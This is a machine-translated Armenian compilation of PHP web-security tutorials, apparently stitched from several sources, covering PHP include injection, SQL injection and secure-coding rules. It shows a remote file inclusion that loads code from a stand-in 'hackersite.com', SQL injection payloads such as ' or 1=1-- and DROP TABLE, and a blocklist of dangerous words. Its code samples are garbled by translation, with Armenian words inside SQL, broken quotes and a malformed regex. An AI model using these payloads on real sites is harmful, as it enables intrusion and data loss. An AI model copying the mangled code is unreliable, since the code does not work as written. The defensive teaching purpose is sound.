Php ներարկումը կատարում է պայմանը` ավելացնելով d get: Ինչպե՞ս կոտրել ձևը: SQL ներարկում. PHP-ում անվտանգ կոդ գրելու կանոններ
Օրինակ
... $module = $_GET [ "module" ] ; include ($module . ".php" ) ; ... ?>
Այս սկրիպտը խոցելի է, քանի որ «.php»-ը պարզապես ավելացվում է $module փոփոխականի բովանդակությանը և ֆայլը միացված է ստացված ճանապարհին։
Հաքերն իր կայքում կարող է ստեղծել PHP կոդ (http://hackersite.com/inc.php) պարունակող ֆայլ և մուտք գործել կայք՝ օգտագործելով http://mysite.com/index.php?module=http:/ հղումը: /hackersite.com/inc գործարկել ցանկացած PHP հրաման:
Պաշտպանության մեթոդներ
Նման հարձակումից պաշտպանվելու մի քանի եղանակ կա.
- Ստուգեք, արդյոք $module փոփոխականը պարունակում է կողմնակի նիշեր.
... $module = $_GET [ "module" ] ; if (strpbrk ($module , ".?/:" ) ) die ("Blocked" ) ; include $module . ".php" ; ... ?>
- Ստուգեք, արդյոք $module-ը սահմանված է թույլատրված արժեքներից մեկի վրա.
... $module = $_GET [ "module" ] ; $arr = array ("main" , "about" , "links" , "forum" ) ; if (! in_array ($module , $arr ) ) $module = $arr [ 0 ] ; include $module . ".php" ; ... ?>
Այս մեթոդն ավելի արդյունավետ է, գեղեցիկ և կոկիկ։
PHP-ն նաև հնարավորություն է տալիս անջատել օգտագործումը ջնջված ֆայլեր, դա արվում է php.ini սերվերի կազմաձևման ֆայլում allow_url_fopen տարբերակը անջատելու միջոցով։
Նկարագրված խոցելիությունը մեծ վտանգ է ներկայացնում կայքի համար, և PHP սկրիպտների հեղինակները չպետք է մոռանան դրա մասին։
տես նաեւ
Հղումներ
Վիքիմեդիա հիմնադրամ. 2010 թ .
Տեսեք, թե ինչ է «PHP ներարկումը» այլ բառարաններում.
- ... Վիքիպեդիա
- ... Վիքիպեդիա
Այս տերմինը այլ իմաստներ ունի, տես PHP (այլ իմաստավորում): PHP Semantics. Multiparadigm ... Վիքիպեդիա
Էլեկտրոնային փոստի ներարկումը հարձակման տեխնիկա է, որն օգտագործվում է շահագործման համար փոստի սերվերներև էլփոստի հավելվածներ, որոնք ստեղծում են IMAP/SMTP արտահայտություններ օգտվողի մուտքագրումից, որը պատշաճ կերպով չի վավերացված: Կախված տեսակից ... ... Վիքիպեդիա
SQL կոդի ներդրումը (անգլ. SQL injection) տվյալների բազաների հետ աշխատող կայքերն ու ծրագրերը կոտրելու սովորական եղանակներից մեկն է՝ հիմնված կամայական SQL-ի ներդրման վրա հարցման մեջ՝ կախված օգտագործվող DBMS-ի տեսակից և իրականացման պայմաններից։ , ... ... Վիքիպեդիա
SQL կոդի ներդրումը (անգլ. SQL injection) տվյալների բազաների հետ աշխատող կայքերն ու ծրագրերը կոտրելու սովորական եղանակներից մեկն է՝ հիմնված կամայական SQL-ի ներդրման վրա հարցման մեջ՝ կախված օգտագործվող DBMS-ի տեսակից և իրականացման պայմաններից։ , ... ... Վիքիպեդիա
PHP Semantics. multi-paradigm Կատարման տեսակը. Կոմպիլյատորի տիպի թարգմանիչ Ներդրված է. 1995 Հեղինակ(ներ)՝ Ռասմուս Լերդորֆ Վերջին տարբերակը: 4 ... Վիքիպեդիա
Բառի նեղ իմաստով, ներկայումս արտահայտությունը հասկացվում է որպես «Հարձակում անվտանգության համակարգի վրա» և ավելի շուտ հակված է Cracker attack հետևյալ եզրույթի իմաստին։ Դա պայմանավորված էր «հաքեր» բառի իմաստի խեղաթյուրմամբ։ Հաքեր ... ... Վիքիպեդիա
PHP-ի հետ գործ ունենալով SQL Injection-ի հետ
- Փայտանյութի սենյակ *
SQL ներարկումը հարձակման ամենավտանգավոր տեսակն է, քանի որ այն կանգնած է հաքերային անթիվ դեպքերի հետևում, որոնք պահպանվել են կորպորատիվ կայքերից և պորտալներից և պարզապես անձնական գլխավոր էջերից: Իրականում բավականին հեշտ է պաշտպանել ձեր նախագիծը. դա անելու համար նախ պետք է հասկանալ, թե որն է այս խնդրի էությունը և որոշ փոփոխություններ կատարեք կոդի մեջ՝ այն պաշտպանելու համար:
Ինչ է SQL Injection-ը
SQL ներարկումը վերաբերում է այն գործողություններին, որոնք դուք պետք է կատարեք ձեր սեփական տվյալների բազայի հարցումն առանց ձեր իմացության կատարելու համար: Ամենից հաճախ դա տեղի է ունենում, երբ օգտվողին առաջարկում եք որոշակի տեղեկատվություն ուղարկել սերվերին, սակայն ցանկալի տեղեկատվության փոխարեն հարձակվողն ուղարկում է իր հարցումը, որը, ակամա, կատարում է սերվերը: Օգտագործելով նման հարցումը՝ հարձակվողը կարող է ոչ միայն տվյալների բազայից ստանալ արգելված տեղեկատվություն, այլ նաև որոշակի պայմաններում փոփոխություններ կատարել դրանում, ինչպես նաև կատարել համակարգի հրամանները:
SQL ներարկման օրինակներ
Հարձակվողը կարող է ուղարկել իր հարցումը ոչ միայն այն մուտքագրելով տեղեկատվության մուտքագրման դաշտում (օգտագործելով $_POST), նա կարող է նաև փոխարինել իր $_GET փոփոխականները հասցեագոտում կամ ձեռքով փոխել իր $_COOKIE-ը: Հետևաբար, այս գլոբալ տվյալների հավաքածուների հետ աշխատելիս պետք է զգույշ լինել:
Եթե էջում ունեք որոշակի տեղեկատվություն մուտքագրելու ձև, հարձակվողը կարող է օգտագործել դրա դաշտերը իրենց նպատակների համար: Սպասվող տողերի փոխարեն (անուն, գաղտնաբառ և այլն) նա նման դաշտում կմտնի իր սեփական խնդրանքը։
Այս SQL ներարկումներից շատերն այսպիսի տեսք ունեն.
Asd» կամ 1=1--
Ենթադրենք, որ մենք ունենք օգտվողի մուտքի ձև: Եթե մուտքի դաշտում մուտքագրենք այդպիսի ծածկագիր, մենք կարող ենք օգտագործել մեր SQL ներարկումը, որպեսզի մուտք գործենք նույնիսկ առանց համապատասխան ստուգումների: Ինչպես է դա աշխատում? Մտածեք, թե ինչպիսի խնդրանք կստանանք մեր գործողությունների արդյունքում.
Ընտրեք * Օգտատերերից ՈՐՏԵՂ օգտանուն = «asd» կամ 1=1--» և գաղտնաբառ = «asd»
Այսպիսով, ինչպես տեսնում եք օրինակից, մեր կոդը հաջողությամբ կկատարվի: Եվ քանի որ 1=1 արտահայտությունը միշտ կվերադարձնի ճշմարիտ, մենք երաշխավորված ենք մուտքի իրավունք:
Դուք կարող եք մտածել, թե ինչու է մեզ անհրաժեշտ կրկնակի գծիկ (--): Այս կրկնակի գծիկը տողի վերջում ասում է SQL սերվերին անտեսել մնացած հարցումները: Եթե ցանկանում եք ներարկում գրել ոչ թե SQL Server-ի համար, ապա այս դեպքում ձեզ անհրաժեշտ կլինի կրկնակի գծիկը փոխարինել մեկ ապաստրոֆով:
Նկատի ունեցեք, որ վերը նշված օրինակը ամենաշատն է ստանդարտ տարբերակ, բայց հեռու միակից։ Նրանց թիվն ուղղակի զարմանալի է, և ամեն ինչ կախված է նրանից, թե ինչպես է աշխատում հարձակվողի գլուխը։
Որոշ ավելի տարածված ներարկումների օրինակներ.
") կամ ("1"="1
"կամ "1"="1
"կամ "1"="1
Կամ 1=1--
«կամ 1=1--
«կամ 1=1--
Նաև բավականին տարածված է, որ հարձակվողները օգտագործում են հասցեի տողը (URL) իրենց հարձակումների համար: Այս մեթոդը, ինչպես նախորդը, պակաս վտանգավոր չէ։ Երբ PHP-ն և MySQL-ն օգտագործվում են սերվերում (միացված այս պահին, ամենահայտնի համադրությունը), սցենարի հասցեն սովորաբար այսպիսի տեսք ունի.
http://somesite.com/login_script.php?id=1
Նման տողում մի փոքր SQL ավելացնելով, դուք կարող եք սարսափելի բաներ անել.
http://somesite.com/login_script.php?id=1'; DROP TABLE մուտք; #
Այս դեպքում օգտագործվում է նշանը # կրկնակի գծիկի փոխարեն, քանի որ այն ասում է SQL Server-ին անտեսել բոլոր հետագա հարցումները, որոնք գալիս են մերից հետո: Իսկ ամենավտանգավորը (եթե դեռ չեք նկատել), ուղղակի սերվերին ասել ենք, որ օգտագործողների հետ ցուցանակը հանի։ Այս օրինակըլավ ցույց է տալիս, թե որքան վտանգավոր կարող են լինել SQL ներարկումները:
Ինչ դուք պետք է անեք ձեր սկրիպտները SQL ներարկումից պաշտպանելու համար
Մենք արդեն գիտենք, որ SQL-ի ներարկման խոցելիությունները տեղի են ունենում, երբ օգտատերերի տեղեկատվությունը մտնում է տվյալների բազայի հարցում՝ առանց պատշաճ մշակման: Այսպիսով, հաջորդ քայլը անվտանգ սկրիպտներ գրելն է:
Բարեբախտաբար, տրված վտանգհայտնի է բավականին երկար ժամանակ. PHP-ն նույնիսկ ունի հատուկ գործառույթ (4.3.0 տարբերակից սկսած), որը պայքարում է այս տեսակի հարձակման դեմ. mysql_real_escape_string.
mysql_real_escape_stringտողը անվտանգ է դարձնում տվյալների բազայի հարցումներում օգտագործելու համար՝ խուսափելով բոլոր հնարավոր վտանգավոր նիշերից: Սովորաբար, նման հաջորդական նիշը մեկ ապաստրոֆ է ("), որը այս ֆունկցիան օգտագործելուց հետո կփախչի (\"):
SQL ներարկումից պաշտպանվելու համար բոլոր արտաքին պարամետրերը ($_GET, $_POST, $_COOKIE) պետք է ներառվեն նախքան ներառվելը SQL հարցում, աշխատել հետ mysql_real_escape_string(), և հենց հարցման մեջ դրանք դրեց մեկ ապաստրոֆի մեջ։ Եթե դուք հավատարիմ մնաք դրան պարզ կանոն, ապա հարձակվողի գործողությունները կհանգեցնեն անվտանգ հարցումների ձևավորմանը, քանի որ նրա SQL ներարկումների ամբողջ տեքստն այժմ գտնվում է ապաստրոֆների ներսում։
Եկեք տեսնենք, թե իրականում ինչ է անում սերվերը այս մշակման հետ.
SQL ներարկում (տողը, որը հարձակվողը մուտքագրել է «Մուտք» դաշտում՝ իր մուտքի փոխարեն).
Sql» կամ 1=1--
$name = mysql_real_escape_string ($_POST ["օգտվողի անուն"]);
$res = mysql_query ("SELECT * FROM users WHERE username = "".$name."" և գաղտնաբառը = "asd"");
SELECT * FROM օգտվողներից, որտեղ օգտվողի անուն = "sql\" կամ 1=1--" և գաղտնաբառը = "asd"
Այսինքն՝ նման խնդրանքով վտանգավոր գործողությունների փոխարեն փորձում ենք ընտրել բավականին տարօրինակ օգտանուն ունեցող օգտատիրոջ տվյալները. (sql\"կամ 1=1-).
Դուք կարող եք ավելի հեռուն գնալ և գրել գործառույթներ, որոնք ավտոմատ կերպով կմշակեն $_GET, $_POST և $_COOKIE զանգվածները, բայց ամեն ինչ կախված է ձեր ցանկություններից: Միակ բանը, որ պետք է հիշել, այն է, որ դուք պետք է պաշտպանեք բոլոր այն վայրերը, որտեղ օգտագործողի տվյալները փոխանցվում են տվյալների բազա:
Վեբ ծրագրավորողների համար ամենակարևոր խնդիրներից մեկը php սկրիպտների անվտանգությունն է: Բոլոր ծրագրավորողները որոշ չափով օգտագործում են տարբեր մեթոդներ իրենց նախագիծն ապահովելու համար, բայց, ցավոք, շատ դեպքերում օգտագործվում է պաշտպանություն մի քանի խոցելիությունից, մինչդեռ այլ խնդրահարույց ոլորտներ նույնիսկ հաշվի չեն առնվում:
Այս հոդվածը թվարկում է հիմնական տեսակները PHP խոցելիություններև դիտարկել դրանցից պաշտպանվելու ուղիներ:
PHP-ի խոցելիության տեսակները
- Սխալների ցուցադրում օգտագործողին
Միտք. կոդի մեջ որևէ սխալի դեպքում օգտատիրոջը ցուցադրվում է տեղեկատվություն տեղի ունեցած սխալի մասին։ Դա կրիտիկական խոցելիություն չէ, բայց այն կթակցի հաքերին՝ ստանալու համար Լրացուցիչ տեղեկությունսերվերի կառուցվածքի և շահագործման մասին: - Համակարգի կատարողականի տվյալների հասանելիություն օգտվողին
Միտք. Օգտագործողը կարող է մուտք գործել տվյալներ, որոնք պատկերացում են տալիս համակարգի մասին: Այն կրիտիկական խոցելիություն չէ, բայց հարձակվողին թույլ կտա լրացուցիչ տեղեկություններ ստանալ սերվերի կառուցվածքի և աշխատանքի մասին: Այս խոցելիության պատճառը ծրագրավորողի սխալների ու «անտեսումների» մեջ է։ Օրինակ՝ հանրային տիրույթում համանուն գործառույթով phpinfo.php ֆայլի առկայությունը։ - Ծրագրի կոդի վերաբերյալ տվյալների հասանելիություն օգտվողին
Օգտագործողը կարող է մուտք գործել մոդուլների ծրագրային ծածկագրեր, որոնք ունեն php-ից այլ ընդլայնում: Դա կրիտիկական խոցելիություն է, քանի որ թույլ է տալիս հարձակվողին բավարար չափով ստանալ ամբողջական տեղեկատվությունսերվերի կառուցվածքի և շահագործման մասին, բացահայտելու նրա խոցելիությունը: - Պարզ գաղտնաբառեր՝ վարչական էջեր մուտք գործելու համար
Միտք. հարձակվողը կարող է կռահել ադմինիստրատիվ էջի պարզ գաղտնաբառ, որը նրան տալիս է ավելի շատ հնարավորություններհակերության համար։ Դա կրիտիկական խոցելիություն է, քանի որ այն թույլ է տալիս հարձակվողին ազդել սերվերի աշխատանքի վրա: - Գլոբալ փոփոխականներ սահմանելու ունակություն
Միտք. PHP-ի սխալ կարգավորումների դեպքում հնարավոր է գլոբալ սցենարի փոփոխականներ դնել հարցումների տողի միջոցով: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է իր օգտին ազդել սցենարի վրա: - PHP ներարկում
Իմաստը. պարամետրում, որը սահմանում է PHP աշխատանքֆայլերով կամ ծրագրի կոդով, երրորդ կողմի հղում ծրագրավորման կոդըկամ ինքնին կոդը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա: Կոդը կատարվում է օգտագործելով հետևյալ ֆունկցիաները՝ eval(), preg_replace(), require_once(), include_once(), include(), require(), create_function(), readfile(), dir(), fopen() : - PHP ներարկում ֆայլի վերբեռնման միջոցով
Միտքը. եթե հնարավոր է գլոբալ փոփոխականներ սահմանել, ապա երրորդ կողմի ծրագրի կոդի կամ սերվերի վրա գաղտնի ֆայլի հղումը փոխանցվում է այն պարամետրին, որը որոշում է սերվեր բեռնված ֆայլը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա կամ մուտք գործել գաղտնի տվյալներ: Այս խոցելիությունը հնարավոր է միայն այն դեպքում, եթե գլոբալ փոփոխականները կարող են սահմանվել, և ֆայլերի բեռնման մեխանիզմը սխալ կազմակերպված է: - էլփոստի ներարկում
Իմաստը՝ պարամետրում, որը որոշում է, թե ինչպես է աշխատում PHP-ի հետ նամակներ, փոխանցվում է երրորդ կողմի ծրագրի կոդի հղումը կամ ինքնին կոդը: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է կատարել իր սկրիպտները սերվերի վրա կամ մուտք ունենալ օգտատիրոջ կողմից պահված տվյալներին: - SQL ներարկում
Իմաստը. տվյալները փոխանցվում են SQL հարցումը սահմանող պարամետրին՝ ձևավորելով հարցում մասնավոր տվյալների մուտք գործելու համար: Դա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է ստանալ տվյալների բազայում պահվող զգայուն տվյալներ: Հարցումը փոփոխելու համար հարձակվողը կարող է օգտագործել հետևյալ կառուցվածքները՝ SELECT, UNION, UPDATE, INSERT, OR, AND : - Cross Site Scripting կամ XSS
Իմաստը. երրորդ կողմի ծրագրի կոդը փոխանցվում է այն պարամետրին, որը որոշում է օգտագործողին ցուցադրվող տվյալները: Սա կրիտիկական խոցելիություն է, քանի որ հարձակվողը կարող է ստանալ հաճախորդի բրաուզերում պահվող զգայուն տվյալներ: Հարցումը փոխելու համար կոտրիչը օգտագործում է html թեգեր:
PHP-ում անվտանգ կոդ գրելու կանոններ
- Արգելափակման սխալի ելքը
Դա անելու համար բավական է ծրագրի կոդում սահմանել error_reporting (0) կամ ավելացնել php_flag error_reporting 0 տողը .htaccess ֆայլում: - Օգտագործումը բարդ գաղտնաբառերվարչական էջեր մուտք գործելու համար
Դա անելու համար բավական է օգտագործել բազմարժեք գաղտնաբառեր, որոնք իմաստային նշանակություն չունեն (օրինակ՝ K7O0iV98dq): - Օգտագործողի կարևոր գործողությունների գրանցում
Անմիջապես պաշտպանություն չի ապահովում, բայց թույլ է տալիս բացահայտել հարձակվողներին և որոշել նրանց կողմից օգտագործված խոցելիությունը: Դրա համար օգտատիրոջ գործողությունները և նրա կողմից փոխանցված տվյալները, որոնք վերաբերում են համակարգի կրիտիկական պահերին, բավարար են պարզ տեքստային ֆայլում գրվելու համար։
Գրանցման ֆունկցիայի և դրա գործողության օրինակ.
ֆունկցիան writelog ($typelog, $log_text) (
$log = fopen("logs/".$typelog.".txt","a+");
fwrite ($log, «$log_text\r\n»);
fclose ($log);
}
writelog("լիազորում", ամսաթիվ("y.m.d H:m:s")."\t".$_SERVER["REMOTE_ADDR"]."\tՀաջող մուտք"); - Կայքի մոդուլների մուտքի փակում
Ապահովում է պաշտպանություն դրանց բովանդակությունը դիտելու կամ դրանք իրականացնելու փորձերից: Դա անելու համար բավական է կարգավորել մուտքը դեպի մոդուլային ֆայլեր .htaccess ֆայլում՝ օգտագործելով FilesMatch և Files կոնստրուկցիաները:
Օրինակ, մենք փակում ենք մուտքը դեպի բոլոր մոդուլները php ընդլայնում, բացառությամբ capcha.php ֆայլի՝ - Համաշխարհային փոփոխականներ սահմանելու հնարավորության անջատում
Դա անելու համար բավական է սերվերի կարգավորումներում սահմանել register_globals = off; կամ .htaccess ֆայլում ավելացրեք php_flag register_globals անջատված տողը: Օգտագործելով ini_set("register_globals",0); չի լուծում խնդիրը այնպես, ինչպես փոփոխականները դրված են նախքան սկրիպտը սկսելը: - Հեռավոր ֆայլեր օգտագործելու հնարավորության անջատում
Դա անելու համար բավական է սերվերի կարգավորումներում սահմանել allow_url_fopen = off; . Սա ապահովում է մասնակի պաշտպանություն PHP ներարկումներից, բայց ոչ ամբողջական պաշտպանություն, քանի որ հարձակվողը կարող է փոխանցել ոչ թե ծրագրի կոդով ֆայլի հղումը, այլ հենց ծրագրի կոդը: PHP ներարկումներից լիովին պաշտպանվելու համար դուք պետք է լրացուցիչ օգտագործեք մուտքային տվյալների զտիչ: Երբեմն այս պաշտպանության միջոցը չի կարող օգտագործվել նախագծի բնույթի պատճառով (դուք պետք է մուտք գործեք հեռավոր ֆայլեր): - Մուտքային տվյալների զտում
Ապահովում է պաշտպանություն մեծ մասի խոցելիությունից: Համընդհանուր լուծում չկա. Ցանկալի է նիշերի «սպիտակ» ցուցակի դեմ ստուգում օգտագործել արգելված բառերի ստուգման հետ միասին: «Սպիտակ»-ը թույլատրված նիշերի ցանկն է։ Այս ցանկը չպետք է ներառի այնպիսի վտանգավոր կերպարներ, ինչպիսիք են . Արգելված բառերը ներառում են՝ script, http, SELECT, UNION, UPDATE, exe, exec, INSERT, tmp, ինչպես նաև html պիտակներ:
Մուտքային տվյալների զտման օրինակ.
// Սպիտակ ցուցակի ստուգում: Թույլատրվում են միայն ռուսերեն և լատիներեն տառեր, թվեր և նշաններ _-
if (preg_match("/[^(\w)|(A-Zaa-z-)|(\s)]/",$text)) (
$text = "";
}
// Զտել վտանգավոր բառերը
if (preg_match("/script|http|||SELECT|UNION|UPDATE|exe|exec|INSERT|tmp/i",$text)) (
$text = "";
} - Ֆայլի վերբեռնման ստուգում HTTP օգնությունՓՈՍՏ
Ապահովում է պաշտպանություն PHP ներարկումներից ֆայլերի վերբեռնման միջոցով: Դա ապահովելու համար սերվերում բեռնված ֆայլերը պետք է ստուգվեն is_uploaded_file() ֆունկցիայով կամ տեղափոխվեն move_uploaded_file() ֆունկցիայով։ Այս տեսակըպաշտպանությունը կարող է բաց թողնել, եթե գլոբալ փոփոխականներ սահմանելու հնարավորությունն անջատված է: - Տվյալների տվյալների շտեմարան փոխանցված չակերտների նիշերից խուսափելը
Ապահովում է պաշտպանություն SQL ներարկումից: Լավագույն փորձը բոլոր մուտքային ոչ թվային տվյալները մշակելն է՝ օգտագործելով mysql_real_escape_string() ֆունկցիան: Կարող եք նաև օգտագործել մուտքային տվյալների ավտոմատ զննում: Դա անելու համար բավական է .htaccess ֆայլում ավելացնել php_value magic_quotes_gpc տողը, սակայն այս մեթոդը հուսալի չէ, քանի որ այն կարող է հանգեցնել կրկնակի փախուստի։
Չակերտներից խուսափելու օրինակ՝ օգտագործելով mysql_real_escape_string() ֆունկցիան.
եթե (!is_numeric($text)) (
$text request = mysql_real_escape_string ($text);
} - Փոխակերպեք հատուկ նիշերը html սուբյեկտների նախքան ելքը
Ապահովում է պաշտպանություն XSS-ից: Դա անելու համար օգտատիրոջ մուտքագրած տվյալները, որոնք կարող են պարունակել անցանկալի html թեգեր, բավարար են htmlspecialchars() ֆունկցիայի միջոցով ելքը մշակելու համար։ Պաշտպանության այս տեսակը կարող է բաց թողնել, եթե մուտքային տվյալների զտումը զտում է վտանգավոր html թեգերը:
Ինչպես տեսնում եք, լավ մտածված սցենարային անվտանգության համակարգի ստեղծումն այնքան ժամանակատար չէ, որքան թվում է:
Այս հոդվածը նախատեսված չէ սկրիպտների անվտանգության վերաբերյալ ձեռնարկ լինելու համար, բայց հուսով եմ, որ այն խրախուսում է PHP ծրագրավորողներին օգտագործել ավելի մտածված անվտանգության մեթոդներ:
Թեև դեռ պարզ է, որ հարձակվողը պետք է գոնե որոշակի գիտելիքներ ունենա տվյալների բազայի կառուցվածքի մասին՝ հաջող հարձակում իրականացնելու համար, հաճախ շատ հեշտ է ստանալ այդ տեղեկատվությունը: Օրինակ, եթե տվյալների բազան բաց կոդով կամ այլ հանրությանը հասանելի ծրագրային փաթեթի մի մասն է՝ լռելյայն տեղադրմամբ, այս տեղեկատվությունը լիովին հրապարակային է և հասանելի: Այս տվյալները կարելի է ստանալ նաև փակ նախագծից, նույնիսկ եթե այն կոդավորված է, բարդ կամ կազմված է, և նույնիսկ ձեր սեփական կոդից՝ սխալի հաղորդագրությունների ցուցադրման միջոցով: Այլ մեթոդները ներառում են սովորական (հեշտ կռահելի) աղյուսակների և սյունակների անունների օգտագործումը: Օրինակ՝ մուտքի ձև, որն օգտագործում է «օգտատերեր» աղյուսակը՝ «id», «օգտանուն» և «գաղտնաբառ» սյունակների անուններով։
Հաջողակ հարձակումների մեծ մասը հիմնված է կոդի վրա, որը գրված չէ՝ հաշվի առնելով պատշաճ անվտանգությունը: Մի վստահեք որևէ մուտքագրման, հատկապես, եթե դա հաճախորդի կողմից է, նույնիսկ եթե դրանք ցուցակներ են ձևի, թաքնված դաշտերի կամ թխուկների վրա: Բերված առաջին օրինակը ցույց է տալիս, թե ինչպես նման խնդրանքները կարող են հանգեցնել աղետի:
- Երբեք մի միացեք տվյալների բազայի հետ՝ օգտագործելով հաշիվտվյալների բազայի սեփականատերը կամ գերօգտագործողը: Միշտ փորձեք օգտագործել հատուկ ստեղծված օգտատերեր, որոնք ունեն առավել սահմանափակ իրավունքներ:
- օգտագործել պատրաստված արտահայտություններ կապված փոփոխականներով: Այս հնարավորությունը տրամադրվում է PDO ընդլայնումների, MySQLi-ի և այլ գրադարանների կողմից:
- Միշտ ստուգեք մուտքագրված տվյալները ակնկալվող տեսակի հետ: PHP-ն ունի տվյալների վավերացման մի շարք գործառույթներ՝ սկսած փոփոխականների մանիպուլյացիայի ամենապարզ գործառույթներից մինչև նիշերի տեսակը որոշելու գործառույթներ (օրինակ՝ is_numeric()Եվ ctype_digit ()համապատասխանաբար) և ավարտվում է Perl-ի հետ համատեղելի կանոնավոր արտահայտություններով:
- Եթե կապակցված փոփոխականները չեն աջակցվում տվյալների բազայի մակարդակում, ապա միշտ խուսափել տվյալների բազայի հարցումներում օգտագործվող ոչ թվային տվյալներից՝ օգտագործելով ձեր օգտագործած տվյալների բազայի հատուկ փախուստի գործառույթները (օրինակ. mysql_real_escape_string(), sqlite_escape_string()և այլն): Ընդհանուր գործառույթներինչպիսիք են addslashes ()օգտակար են միայն որոշ դեպքերում (օրինակ՝ MySQL-ը մեկ բայթ կոդավորմամբ՝ NO_BACKSLASH_ESCAPES-ն անջատված է), ուստի ավելի լավ է խուսափել դրանց օգտագործումից:
- Ոչ մի դեպքում մի ցուցադրեք տվյալների բազայի մասին որևէ տեղեկատվություն, հատկապես դրա կառուցվածքի մասին: Կարդացեք նաև փաստաթղթերի համապատասխան բաժինները՝ «Սխալների հաղորդագրություններ» և «Սխալների մշակման և գրանցման գործառույթներ»:
- Դուք կարող եք օգտագործել պահված ընթացակարգերը և նախապես սահմանված կուրսորները՝ տվյալների հետ վերացական եղանակով աշխատելու համար՝ առանց օգտատերերին տվյալների և դիտումների անմիջական մուտքի հնարավորություն տալու, սակայն այս լուծումն ունի իր առանձնահատկությունները:
Այն դեպքում, երբ հավելվածը սպասում է թվային մուտքագրման, կիրառեք գործառույթը ctype_digit ()մուտքագրված տվյալները հաստատելու կամ դրա տեսակը ստիպելու համար settype (), կամ պարզապես օգտագործեք թվային ներկայացումը ֆունկցիայի հետ sprintf ().
Beispiel #5 Ավելի անվտանգ էջադրման իրականացում
settype ($offset , "integer" );
$ հարցում = «Ընտրեք id, անվանումը ապրանքներից ՊԱՏՎԻՐԵԼ ԸՍՏ անունի սահմանաչափը 20 ՕՖՍԵՏ$օֆսեթ ;" ;
// նշեք %d ձևաչափը, %s օգտագործելն անիմաստ կլինի
$query = sprintf( «Ընտրեք id, անուն ապրանքներից ORDER BY name LIMIT 20 OFFSET %d;»,
$օֆսեթ);
?>
Բացի վերը նշված բոլորից, դուք կարող եք հարցումներ գրանցել ձեր սցենարում կամ տվյալների բազայի մակարդակում, եթե այն աջակցում է այն: Ակնհայտ է, որ գրանցումը չի կարող կանխել վնասը, բայց դա կարող է օգնել վտանգված հավելվածի հետագծմանը: Մատյան ֆայլն ինքնին օգտակար չէ, այլ այն պարունակող տեղեկատվությունը: Ավելին, շատ դեպքերում օգտակար է գրանցել բոլոր հնարավոր մանրամասները: